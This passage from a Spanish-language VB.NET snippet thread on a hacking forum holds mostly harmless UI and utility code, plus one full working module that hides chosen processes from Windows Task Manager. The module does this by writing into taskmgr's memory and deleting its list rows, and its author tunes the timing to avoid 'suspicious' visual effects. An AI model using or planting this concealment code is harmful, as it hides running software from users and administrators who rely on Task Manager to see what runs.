  51.        Dim Temp_Dictionary As New Dictionary(Of String, IntPtr) ' Replic of the "Process_Handle_Dictionary" dictionary
  52.        For Each Process In Process_Handle_Dictionary : Temp_Dictionary.Add(Process.Key, Process.Value) : Next
  53.  
  54.        If Recursive Then
  55.            For Each Process In Temp_Dictionary
  56.                If Process.Key.ToLower.Contains(Process_Name.ToLower) Then
  57.                    ShowWindow(Process.Value, 9)
  58.                    Process_Handle_Dictionary.Remove(Process.Key)
  59.                End If
  60.                Application.DoEvents()
  61.            Next
  62.        Else
  63.            For Each Process In Temp_Dictionary
  64.                If Process.Key.ToLower.Contains(Process_Name.ToLower) Then
  65.                    ShowWindow(Process.Value, 9)
  66.                    Process_Handle_Dictionary.Remove(Process.Key)
  67.                    Exit For
  68.                End If
  69.                Application.DoEvents()
  70.            Next
  71.        End If
  72.  
  73.    End Sub
  74.  
  75. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Junio 2013, 02:19 am
Un panel extendido con varias propiedades nuevas e interesantes...

Código
  1. '
  2. '  /*               *\
  3. ' |#* Panel Elektro *#|
  4. '  \*               */
  5. '
  6. ' // By Elektro H@cker
  7. '
  8. '   Properties:
  9. '   ...........
  10. ' · Disable_Flickering
  11. ' · Double_Buffer
  12. ' · Opaccity
  13. ' · Scroll_Loop
  14.  
  15. Public Class Panel_Elektro
  16.    Inherits Panel
  17.  
  18.    Private _Opaccity As Int16 = 100
  19.    Private _Diable_Flickering As Boolean = True
  20.    Private _Scroll_Loop As Boolean = False
  21.  
  22.    Dim Scroll_Range As Int64 = 0
  23.  
  24.    Public Sub New()
  25.        Me.Name = "Panel_Elektro"
  26.        ' Me.AutoScroll = True
  27.        ' ResumeLayout(False)
  28.    End Sub
  29.  
  30. #Region " Properties "
  31.  
  32.    ''' <summary>
  33.    ''' Enable/Disable any flickering effect on the panel.
  34.    ''' </summary>
  35.    Protected Overrides ReadOnly Property CreateParams() As CreateParams
  36.        Get
  37.            If _Diable_Flickering Then
  38.                Dim cp As CreateParams = MyBase.CreateParams
  39.                cp.ExStyle = cp.ExStyle Or &H2000000
  40.                Return cp
  41.            Else
  42.                Return MyBase.CreateParams
  43.            End If
  44.        End Get
  45.    End Property
  46.  
  47.    ''' <summary>
  48.    ''' Set the Double Buffer.
  49.    ''' </summary>
  50.    Public Property Double_Buffer() As Boolean
  51.        Get
  52.            Return Me.DoubleBuffered
  53.        End Get
  54.        Set(ByVal Value As Boolean)
  55.            Me.DoubleBuffered = Value
  56.        End Set
  57.    End Property
  58.  
  59.    ''' <summary>
  60.    ''' Set the transparency for this panel.
  61.    ''' </summary>
  62.    Public Property Opaccity() As Short
  63.        Get
  64.            Return _Opaccity
  65.        End Get
  66.        Set(ByVal Value As Short)
  67.            If Value > 100 Then Throw New Exception("Opaccity range is from 0 to 100")
  68.            If Value < 0 Then Throw New Exception("Opaccity range is from 0 to 100")
  69.            Me._Opaccity = Value
  70.            Make_Opaccity(Value, Me.BackColor)
  71.        End Set
  72.    End Property
  73.  
  74.    ''' <summary>
  75.    ''' Enable/Disable the flickering effects on this panel.
  76.    '''
  77.    ''' This property turns off any Flicker effect on the panel
  78.    ''' ...but also reduces the performance (speed) of the panel about 30% slower.
  79.    ''' This don't affect to the performance of the application itself, only to the performance of this control.
  80.    ''' </summary>
  81.    Public Property Diable_Flickering() As Boolean
  82.        Get
  83.            Return _Diable_Flickering
  84.        End Get
  85.        Set(ByVal Value As Boolean)
  86.            Me._Diable_Flickering = Value
  87.        End Set
  88.    End Property
  89.  
  90.    ''' <summary>
  91.    ''' Enable/Disable the scroll loop effect.
  92.    ''' Only when AutoScroll option is set to "True".
  93.    ''' </summary>
  94.    Public Property Scroll_Loop() As Boolean
  95.        Get
  96.            Return _Scroll_Loop
  97.        End Get
  98.        Set(ByVal Value As Boolean)
  99.            Me._Scroll_Loop = Value
  100.        End Set
  101.    End Property
  102.  
  103. #End Region
  104.  
  105. #Region " Event handlers "
  106.  
  107.    ' Scroll
  108.    Private Sub Infinite_Scroll_Button(sender As Object, e As ScrollEventArgs) Handles Me.Scroll
  109.  
  110.        If _Scroll_Loop AndAlso Me.AutoScroll Then
  111.  
  112.            Set_Scroll_Range()
  113.  
  114.            If Me.VerticalScroll.Value >= Scroll_Range - 4 Then ' Button Down
  115.                Me.VerticalScroll.Value = 1
  116.            ElseIf Me.VerticalScroll.Value <= 0 Then ' Button Up
  117.                Me.VerticalScroll.Value = Scroll_Range
  118.            End If
  119.  
  120.        End If
  121.  
  122.    End Sub
  123.  
  124.    ' MouseWheel (Scroll)
  125.    Private Sub Infinite_Scroll_MouseWheel(sender As Object, e As MouseEventArgs) Handles Me.MouseWheel
  126.  
  127.        If _Scroll_Loop AndAlso Me.AutoScroll Then
  128.  
  129.            Set_Scroll_Range()
  130.  
  131.            If e.Delta < 0 AndAlso Me.VerticalScroll.Value >= Scroll_Range - 4 Then ' MouseWheel Down
  132.                Me.VerticalScroll.Value = 1
  133.            ElseIf e.Delta > 0 AndAlso Me.VerticalScroll.Value <= 0 Then ' MouseWheel Up
  134.                Me.VerticalScroll.Value = Scroll_Range
  135.            End If
  136.  
  137.        End If
  138.  
  139.    End Sub
  140.  
  141. #End Region
  142.  
  143. #Region " Methods / Functions "
  144.  
  145.    ''' <summary>
  146.    ''' Changes the transparency of this panel.
  147.    ''' </summary>
  148.    Private Sub Make_Opaccity(ByVal Percent As Short, ByVal colour As Color)
  149.        Me.BackColor = Color.FromArgb(Percent * 255 / 100, colour.R, colour.G, colour.B)
  150.    End Sub
  151.  
  152.    ''' <summary>
  153.    ''' Set the VerticalScrollBar Range.
  154.    ''' </summary>
  155.    Private Sub Set_Scroll_Range()
  156.        Scroll_Range = Me.VerticalScroll.Maximum - Me.VerticalScroll.LargeChange + Me.VerticalScroll.SmallChange
  157.    End Sub
  158.  
  159. #End Region
  160.  
  161. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Junio 2013, 10:23 am
· Ocultar uno o varios procesos en el Task Manager (Si, en el administrador de tareas!)

(Este código es originálmente de un anónimo (La class "TMListViewDelete", no sé ni me voy a molestar en buscar el nombre del autor), modificado por Kub0x, y vuelto a modificar por mí.)

-> http://foro.elhacker.net/net/aporte_ocultar_aplicacion_en_administrador_de_tareas-t359259.0.html

· Añadida compatibilidad para Windows en el lenguaje Inglés y Alemán, y con posibilidad de añadir fácilmente más soporte para otros lenguajes.

· Ahora se puede ocultar varios procesos al mismo tiempo.

· Añadida opción para poder especificar el/los proceso(s) que queremos ocultar.

· Añadida opción para controlar el intervalo de tiempo en el que se procesa la lista del TaskManager (Por defecto 3 ms, para evitar efectos visuales sospechosos en el TaskManager).

· Reorganización de la estructura del código original (Contenía demasiadas regiones para mi gusto y me dificultaba la lectura).

NOTAS: Si se ocultan varios procesos al mismo tiempo, aunque se use 1 ms para el intervalo del timer puede dar esos efectos visuales extraños en la lista del task manager, así que no excederse si se requiere perfección xD.

Lo he testeado en:
Código:
WinXP x86 Inglés
WinXP x86 Español
Win7 x86 Inglés
Win7 x64 Español
Win7 x64 Inglés
Win7 x64 Español

En Windows 8 No funciona.
A menos que se utilice el replacamiento NO oficial del TaskManager por el TaskManager de Windows 7 (como hago yo) porque el TaskManager de windows 8 no me gusta)


Ejemplos de uso:

Código
  1. Hide_Process_From_TaskManager.Processes_Names = _
  2. {Process.GetCurrentProcess.ProcessName, "cmd", "notepad.exe"} ' Processes to hide.
  3.  
  4. Hide_Process_From_TaskManager.Task_Manager_Window_Titles = _
  5. {"Administrador de tareas de Windows", "Windows Task Manager"} ' Support for unknown TaskManager Window Titles.
  6.  
  7. Hide_Process_From_TaskManager.Hide_Interval = 3 ' Hidding Interval.
  8.  
  9. Hide_Process_From_TaskManager.Running = True ' Start hidding processes.
  10.  
  11. Hide_Process_From_TaskManager.Running = False ' Stop hidding processes.

Los créditos son por orden para el creador de la Class TMListViewDelete que ronda por internet,
luego para las modificaciones de Kub0x y por tener la generosidad de haber compartido el código,
y por último para mis modificaciones y compartirlo con vosotros.    :)


Aquí tienen:

Código
  1. #Region " Hide Process From TaskManager "
  2.  
  3. ' [ Hide Process From TaskManager ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Examples :
  8. '
  9. ' Hide_Process_From_TaskManager.Processes_Names = {Process.GetCurrentProcess.ProcessName, "cmd", "notepad.exe"} ' Processes to hide.
  10. ' Hide_Process_From_TaskManager.Task_Manager_Window_Titles = {"Administrador de tareas de Windows", "Windows Task Manager"} ' Support for unknown TaskManager Window Titles.
  11. ' Hide_Process_From_TaskManager.Hide_Interval = 3 ' Hidding Interval.
  12. ' Hide_Process_From_TaskManager.Running = True ' Start hidding processes.
  13. ' Hide_Process_From_TaskManager.Running = False ' Stop hidding processes.
  14.  
  15. #Region " Hide Process From TaskManager Class "
  16.  
  17. Imports Microsoft.Win32.SafeHandles
  18. Imports System.Runtime.InteropServices
  19. Imports System.Text
  20. Imports System.ComponentModel
  21.  
  22. Module Hide_Process_From_TaskManager
  23.  
  24. #Region " API's "
  25.  
  26.    Private Delegate Function EnumDelegate(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
  27.    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
  28.    Private Declare Function EnumChildWindows Lib "user32.dll" (ByVal hWndParent As IntPtr, ByVal lpEnumFunc As EnumDelegate, ByVal lParam As Integer) As Integer
  29.    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
  30.    Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As IntPtr) As Integer
  31.    Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Integer
  32.  
  33.    <DllImport("user32.dll", CharSet:=CharSet.Auto)> _
  34.    Private Sub GetClassName(ByVal hWnd As System.IntPtr, ByVal lpClassName As System.Text.StringBuilder, ByVal nMaxCount As Integer)
  35.    End Sub
  36.  
  37. #End Region
  38.  
  39. #Region " Variables "
  40.  
  41.    ''' <summary>
  42.    ''' The processses to hide from TaskManager.
  43.    ''' Caution: The process name is Case-Sensitive.
  44.    ''' </summary>
  45.    Public Processes_Names() As String = {Process.GetCurrentProcess.ProcessName} ' The current process.
  46.  
  47.    ''' <summary>
  48.    ''' The interval time in ms to hide the process from TaskManager.
  49.    ''' Values greater than "5" can cause bad visual effects in TaskManager processes list.
  50.    ''' </summary>
  51.    Public Hide_Interval As Int32 = 3 ' ms
  52.  
  53.    ''' <summary>
  54.    ''' The known Window Titles for Task Manager process.
  55.    ''' This is necessary to work properly in all languages.
  56.    ''' Add here your own Task Manager Window Tittle if is not inside.
  57.    ''' Default support: Spanish, English, Deutsch
  58.    ''' </summary>
  59.    Public Task_Manager_Window_Titles() As String = { _
  60.        "Administrador de tareas de Windows", _
  61.        "Windows Task Manager", _
  62.        "Windows Task-Manager", _
  63.    }
  64.  
  65.    ''' <summary>
  66.    ''' Gets the next process in the Processes_Names array to hide it.
  67.    ''' Don't touch this.
  68.    ''' </summary>
  69.    Public MyProc As String
  70.  
  71.    Dim t As New Timer
  72.    Dim hwnd As IntPtr
  73.    Dim controls As String
  74.    Dim ProcLV As IntPtr = IntPtr.Zero
  75.  
  76.    Private Const LVM_FIRST = &H1000
  77.    Private Const LVM_DELETECOLUMN = LVM_FIRST + 28
  78.    Private Const LVM_GETITEMCOUNT = (LVM_FIRST + 4)
  79.    Private Const LVM_SORTITEMS = (LVM_FIRST + 48)
  80.    Private Const LVM_DELETEITEM = (LVM_FIRST + 8)
  81.    Private Const LVM_GETNEXTITEM = (LVM_FIRST + 12)
  82.    Private Const LVM_GETITEM = (LVM_FIRST + 75)
  83.  
  84. #End Region
  85.  
  86. #Region " Properties "
  87.  
  88.    ''' <summary>
  89.    ''' Turns ON/OFF the process hiding.
  90.    ''' </summary>
  91.    Public Property Running() As Boolean
  92.        Get
  93.            If t.Enabled = True Then
  94.                Return True
  95.            Else
  96.                Return False
  97.            End If
  98.        End Get
  99.        Set(ByVal value As Boolean)
  100.            If value = True Then
  101.  
  102.                If Processes_Names.Length = 0 Then Throw New Exception("Processes_Names Array is empty.")
  103.                If Hide_Interval <= 0 Then Throw New Exception("Hide_Interval value is too low, minimum value: 1")
  104.  
  105.                MyProc = Processes_Names(0)
  106.                If Not t.Interval = Hide_Interval Then
  107.                    With t
  108.                        AddHandler t.Tick, AddressOf t_Tick
  109.                        .Interval = Hide_Interval
  110.                        .Enabled = True
  111.                        .Start()
  112.                    End With
  113.                Else
  114.                    t.Enabled = True
  115.                    t.Start()
  116.                End If
  117.            Else
  118.                t.Enabled = False
  119.                t.Stop()
  120.                ProcLV = IntPtr.Zero
  121.            End If
  122.        End Set
  123.    End Property
  124.  
  125. #End Region
  126.  
  127. #Region " Timer Tick event "
  128.  
  129.    Private Sub t_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
  130.        If ProcLV = IntPtr.Zero Then
  131.  
  132.            For Each Title In Task_Manager_Window_Titles
  133.                hwnd = FindWindow(vbNullString, Title)
  134.                If hwnd <> 0 Then
  135.                    EnumChildWindows(hwnd, New EnumDelegate(AddressOf Hide_Process_From_TaskManager.EnumChildWindows), 0)
  136.                End If
  137.            Next
  138.  
  139.        Else
  140.            GetListView(hwnd, ProcLV)
  141.        End If
  142.    End Sub
  143.  
  144. #End Region
  145.  
  146. #Region " Functions "
  147.  
  148.    ' EnumChildWindows
  149.    Private Function EnumChildWindows(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
  150.        Dim strClassName As String = ObtenerClase(lngHwnd)
  151.        Dim strText As String = ObtenerTextoVentana(lngHwnd)
  152.        If InStr(strClassName, "SysListView32") Then
  153.            GetListView(hwnd, lngHwnd)
  154.            If InStr(strText, "Procesos") Then
  155.                ProcLV = lngHwnd
  156.            End If
  157.        End If
  158.        Dim Classes As String = lngHwnd.ToString & ", " & strClassName & ", " & strText
  159.        Return 1
  160.    End Function
  161.  
  162.    ' ObtenerClase
  163.    Private Function ObtenerClase(ByVal handle As IntPtr) As String
  164.        Dim strClassName As New System.Text.StringBuilder()
  165.        strClassName.Length = 255
  166.        GetClassName(handle, strClassName, strClassName.Length)
  167.        Return strClassName.ToString
  168.    End Function
  169.  
  170.    ' ObtenerTextoVentana
  171.    Private Function ObtenerTextoVentana(ByVal handle As IntPtr) As String
  172.        Dim titleText As New System.Text.StringBuilder()
  173.        titleText.Length = GetWindowTextLength(handle) + 1
  174.        GetWindowText(handle, titleText, titleText.Length)
  175.        Return titleText.ToString
  176.    End Function
  177.  
  178. #End Region
  179.  
  180. End Module
  181.  
  182. Module GetItems
  183.  
  184. #Region " API's "
  185.  
  186.    ' OpenProcess
  187.    <DllImport(kernel32, SetLastError:=True)> _
  188.    Private Function OpenProcess(ByVal dwDesiredAccess As UInteger, ByVal bInheritHandle As Boolean, ByVal dwProcessId As Integer) As SafeProcessHandle
  189.    End Function
  190.  
  191.    ' ReadProcessMemoryW
  192.    <DllImport(kernel32, EntryPoint:="ReadProcessMemory", SetLastError:=True, CharSet:=CharSet.Unicode)> _
  193.    Private Function ReadProcessMemoryW(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As StringBuilder, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  194.    End Function
  195.  
  196.    ' ReadProcessMemory
  197.    <DllImport(kernel32, SetLastError:=True, CharSet:=CharSet.Ansi)> _
  198.    Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As StringBuilder, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  199.    End Function
  200.  
  201.    ' ReadProcessMemory
  202.    <DllImport(kernel32, SetLastError:=True)> _
  203.    Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As LV_ITEM, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  204.    End Function
  205.  
  206.    ' ReadProcessMemory
  207.    <DllImport(kernel32, SetLastError:=True)> _
  208.    Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As HDITEM, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  209.    End Function
  210.  
  211.    ' ReadProcessMemory
  212.    <DllImport(kernel32, SetLastError:=True)> _
  213.    Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  214.    End Function
  215.  
  216.    ' SendMessage
  217.    <DllImport(user32, SetLastError:=True)> _
  218.    Private Function SendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  219.    End Function
  220.  
  221.    ' GetHeaderSendMessage
  222.    <DllImport(user32, SetLastError:=True, EntryPoint:="SendMessageA")> _
  223.    Private Function GetHeaderSendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
  224.    End Function
  225.  
  226.    ' SendMessage
  227.    <DllImport(user32, SetLastError:=True)> _
  228.    Private Function SendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As Integer, ByVal lParam As StringBuilder) As Integer
  229.    End Function
  230.  
  231.    ' SendMessage
  232.    <DllImport(user32, SetLastError:=True)> _
  233.    Private Function SendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As Integer, ByVal lParam As IntPtr) As Integer
  234.    End Function
  235.  
  236.    ' VirtualAllocEx
  237.    <DllImport(kernel32, SetLastError:=True)> _
  238.    Private Function VirtualAllocEx(ByVal hProcess As SafeProcessHandle, ByVal lpAddress As IntPtr, ByVal dwSize As Integer, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
  239.    End Function
  240.  
  241.    ' VirtualFreeEx
  242.    <DllImport(kernel32, SetLastError:=True)> _
  243.    Private Function VirtualFreeEx(ByVal hProcess As SafeProcessHandle, ByVal lpAddress As IntPtr, ByVal dwSize As Integer, ByVal dwFreeType As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
  244.    End Function
  245.  
  246.    ' WriteProcessMemory
  247.    <DllImport(kernel32, SetLastError:=True)> _
  248.    Private Function WriteProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As LV_ITEM, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  249.    End Function
  250.  
  251.    ' WriteProcessMemory
  252.    <DllImport(kernel32, SetLastError:=True)> _
  253.    Private Function WriteProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As HDITEM, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
  254.    End Function
  255.  
  256. #End Region
  257.  
  258. #Region " Variables "
  259.  
  260.    Dim listViewHandle As IntPtr
  261.  
  262.    Public Const LVM_FIRST As UInteger = &H1000
  263.    Public Const LVM_DELETEITEM As UInteger = (LVM_FIRST + 8)
  264.    Public Const kernel32 As String = "kernel32"
  265.    Public Const user32 As String = "user32"
  266.    Public Const LVM_GETITEMCOUNT As UInteger = &H1004
  267.    Public Const LVM_GETITEMTEXT As UInteger = &H102D
  268.    Public Const LVM_GETHEADER As UInteger = &H101F
  269.    Public Const HDM_GETIEMA As UInteger = &H1203
  270.    Public Const HDM_GETITEMW As UInteger = &H120B
  271.    Public Const HDM_GETITEMCOUNT As UInteger = &H1200
  272.    Public Const HDM_GETUNICODEFORMAT As UInteger = &H2006
  273.    Public Const HDI_TEXT As UInteger = 2
  274.    Public Const MEM_COMMIT As UInteger = &H1000
  275.    Public Const MEM_RELEASE As UInteger = &H8000
  276.    Public Const PAGE_READWRITE As UInteger = 4
  277.    Public Const PROCESS_VM_READ As UInteger = &H10
  278.    Public Const PROCESS_VM_WRITE As UInteger = &H20
  279.    Public Const PROCESS_VM_OPERATION As UInteger = &H8
  280.    Public Const WM_GETTEXT As UInteger = &HD
  281.    Public Const WM_GETTEXTLENGTH As UInteger = &HE
  282.  
  283. #End Region
  284.  
  285. #Region " Structures "
  286.  
  287.    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
  288.    Public Structure LV_ITEM
  289.        Public mask As UInteger
  290.        Public iItem As Integer
  291.        Public iSubItem As Integer
  292.        Public state As UInteger
  293.        Public stateMask As UInteger
  294.        Public pszText As IntPtr
  295.        Public cchTextMax As Integer
  296.        Public iImage As Integer
  297.        Public lParam As IntPtr
  298.        Public iIndent As Integer
  299.        Public iGroupId As Integer
  300.        Public cColumns As Integer
  301.        Public puColumns As IntPtr
  302.        Public piColFmt As IntPtr
  303.        Public iGroup As Integer
  304.        Public Function Size() As Integer
  305.            Return Marshal.SizeOf(Me)
  306.        End Function
  307.    End Structure
  308.  
  309.    <StructLayout(LayoutKind.Sequential)> _
  310.    Public Structure HDITEM
  311.        Public mask As UInteger
  312.        Public cxy As Integer
  313.        Public pszText As IntPtr
  314.        Public hbm As IntPtr
  315.        Public cchTextMax As Integer
  316.        Public fmt As Integer
  317.        Public lParam As IntPtr
  318.        Public iImage As Integer
  319.        Public iOrder As Integer
  320.        Public Function Size() As Integer
  321.            Return Marshal.SizeOf(Me)
  322.        End Function
  323.    End Structure
  324.  
  325. #End Region
  326.  
  327. #Region " Functions "
  328.  
  329.    Public Function GetListView(ByVal handle As IntPtr, ByVal lvhandle As IntPtr) As Boolean
  330.        listViewHandle = lvhandle
  331.        Dim hParent As IntPtr = handle
  332.  
  333.        Dim id As Integer = -1
  334.        Try
  335.            For Each p In Process.GetProcessesByName("taskmgr")
  336.                id = p.Id
  337.            Next
  338.            If id = -1 Then
  339.                Throw New ArgumentException("Can't find process", "processName")
  340.            End If
  341.        Catch : Return False : End Try
  342.  
  343.        Dim hprocess As SafeProcessHandle = Nothing
  344.        Try
  345.            hprocess = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, id)
  346.  
  347.            If hprocess Is Nothing Then
  348.                If Marshal.GetLastWin32Error = 0 Then
  349.                    Throw New System.ComponentModel.Win32Exception
  350.                End If
  351.            End If
  352.  
  353.            Dim itemCount As Integer = SendMessage(listViewHandle, LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero)
  354.  
  355.            For row As Integer = 0 To itemCount - 1
  356.  
  357.                Dim lvi As New ListViewItem(GetItem(row, 0, hprocess))
  358.  
  359.                For Each processname In Processes_Names
  360.                    MyProc = processname
  361.                    If lvi.Text.Contains(Hide_Process_From_TaskManager.MyProc) Then SendMessage(listViewHandle, LVM_DELETEITEM, row, IntPtr.Zero)
  362.                Next
  363.  
  364.            Next
  365.        Catch : Return False
  366.        Finally
  367.            If hprocess IsNot Nothing Then
  368.                hprocess.Close()
  369.                hprocess.Dispose()
  370.            End If
  371.  
  372.        End Try
  373.        Return True
  374.    End Function
  375.  
  376.    Public Function GetItem(ByVal row As Integer, ByVal subitem As Integer, _
  377.                                ByVal hProcess As SafeProcessHandle) As String
  378.  
  379.        Dim lvitem As New LV_ITEM
  380.        lvitem.cchTextMax = 260
  381.        lvitem.mask = 1
  382.        lvitem.iItem = row
  383.        lvitem.iSubItem = subitem
  384.        Dim pString As IntPtr
  385.        Dim s As New StringBuilder(260)
  386.  
  387.        Try
  388.  
  389.            pString = VirtualAllocEx(hProcess, IntPtr.Zero, 260, MEM_COMMIT, PAGE_READWRITE)
  390.            lvitem.pszText = pString
  391.            Dim pLvItem As IntPtr
  392.            Try
  393.                pLvItem = VirtualAllocEx(hProcess, IntPtr.Zero, lvitem.Size, MEM_COMMIT, PAGE_READWRITE)
  394.                Dim boolResult As Boolean = WriteProcessMemory(hProcess, pLvItem, lvitem, lvitem.Size, 0)
  395.                If boolResult = False Then Throw New Win32Exception
  396.  
  397.                SendMessage(listViewHandle, LVM_GETITEMTEXT, row, pLvItem)
  398.                boolResult = ReadProcessMemory(hProcess, pString, s, 260, 0)
  399.                If boolResult = False Then Throw New Win32Exception
  400.                boolResult = ReadProcessMemory(hProcess, pLvItem, lvitem, Marshal.SizeOf(lvitem), 0)
  401.                If boolResult = False Then Throw New Win32Exception
  402.            Finally
  403.                If pLvItem.Equals(IntPtr.Zero) = False Then
  404.                    Dim freeResult As Boolean = VirtualFreeEx(hProcess, pLvItem, 0, MEM_RELEASE)
  405.                    If freeResult = False Then Throw New Win32Exception
  406.                End If
  407.            End Try
  408.        Finally
  409.            If pString.Equals(IntPtr.Zero) = False Then
  410.                Dim freeResult As Boolean = VirtualFreeEx(hProcess, pString, 0, MEM_RELEASE)
  411.                If freeResult = False Then Throw New Win32Exception
  412.            End If
  413.        End Try
  414.  
  415.        Return s.ToString
  416.  
  417.    End Function
  418.  
  419.    Friend NotInheritable Class SafeProcessHandle : Inherits SafeHandleZeroOrMinusOneIsInvalid
  420.  
  421.        Declare Auto Function CloseHandle Lib "kernel32.dll" (ByVal hObject As IntPtr) As Boolean
  422.  
  423.        Public Sub New()
  424.            MyBase.New(True)
  425.        End Sub
  426.  
  427.        Public Sub New(ByVal handle As IntPtr)
  428.            MyBase.New(True)
  429.            MyBase.SetHandle(handle)
  430.        End Sub
  431.  
  432.        Protected Overrides Function ReleaseHandle() As Boolean
  433.            Return CloseHandle(MyBase.handle)
  434.        End Function
  435.  
  436.    End Class
  437.  
  438. #End Region
  439.  
  440. End Module
  441.  
  442. #End Region
  443.  
  444. #End Region
  445.  


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 6 Junio 2013, 11:02 am
Y porque el autor es anónimo? :x


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Junio 2013, 11:08 am
Y porque el autor es anónimo? :x

Es anónimo xq me da la gana xD, vi el code del TMListViewDelete posteado por un "guiri" hace mucho tiempo (código que solo funcionaba en XP), lo cierto es que ví la Class en varios sitios buscando una manera de ocultar procesos en el TaskManager, pero no recuerdo el autor, y Kub0x no lo nombra en su code tampoco, así que... anonymous!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Junio 2013, 05:23 am
Formatear un número:

Código
  1. #Region " Format Number "
  2.  
  3.    ' [ Format Number Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Format_Number(50000))     ' Result: 50.000
  9.    ' MsgBox(Format_Number(-12345.33)) ' Result: -12.345,33
  10.  
  11.    Private Function Format_Number(ByVal Number As Object) As String
  12.  
  13.        Select Case Number.GetType()
  14.            Case GetType(Int16), GetType(Int32), GetType(Int64)
  15.                Return FormatNumber(Number, TriState.False)
  16.            Case Else
  17.                Return FormatNumber(Number, , TriState.False)
  18.        End Select
  19.  
  20.    End Function
  21.  
  22. #End Region





Crear un textbox con una máscara de asteriscos (para introducir passwords):

Código
  1.        TextBox1.Text = "Elektro" ' Set a random text.
  2.        TextBox1.PasswordChar = "*" ' The character to use in the mask.
  3.        TextBox1.MaxLength = 8 ' The maximum length of characters inside the textbox.
  4.        MsgBox(TextBox1.Text) ' Result: Elektro





Genera todas las combinaciones posibles de una serie de caracteres:

(Este código es ORO por su sencillez y eficacia):

Código
  1. #Region " Permute all combinations of characters"
  2.  
  3.    ' [ Permute Characters Function ]
  4.    '
  5.    ' Examples :
  6.    ' Dim Permutations As IEnumerable = Permute_Characters("abc", 2)
  7.    ' For Each Permutation As IEnumerable(Of Char) In Permutations : RichTextBox1.Text &= vbNewLine & Permutation.ToArray : Next
  8.  
  9.    Private Shared Function Permute_Characters(Of T)(list As IEnumerable(Of T), length As Integer) As IEnumerable(Of IEnumerable(Of T))
  10.  
  11.        If length = 1 Then
  12.            Return list.[Select](Function(x) New T() {x})
  13.        Else
  14.            Return Permute_Characters(list, length - 1).SelectMany(Function(x) list, Function(t1, t2) t1.Concat(New T() {t2}))
  15.        End If
  16.  
  17.    End Function
  18.  
  19. #End Region

Resultado:
Código:
aa
ab
ac
ba
bb
bc
ca
cb
cc


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 7 Junio 2013, 07:39 am
Ostia, ese es el code en el que te he ayudado?  ;-)
No verdad, es el siguiente no?


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Junio 2013, 09:56 am
Ostia, ese es el code en el que te he ayudado?  ;-)
No verdad, es el siguiente no?

¿En que parte del código ves algo elevado al cuadrado? xD

Me ayudaste a resolver un problema de una operación matemática en una aplicación donde yo usaba un code, el code o la aplicación es irelevante, pero si, te refieres al code de las combinaciones xD

Salu2


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Junio 2013, 21:01 pm
Modifica el modo de renderizado de IExplorer sobre una aplicación, es decir, el modo de renderizado para un "WebBrowser control"

Código
  1. #Region " Set IExplorer Rendering Mode "
  2.  
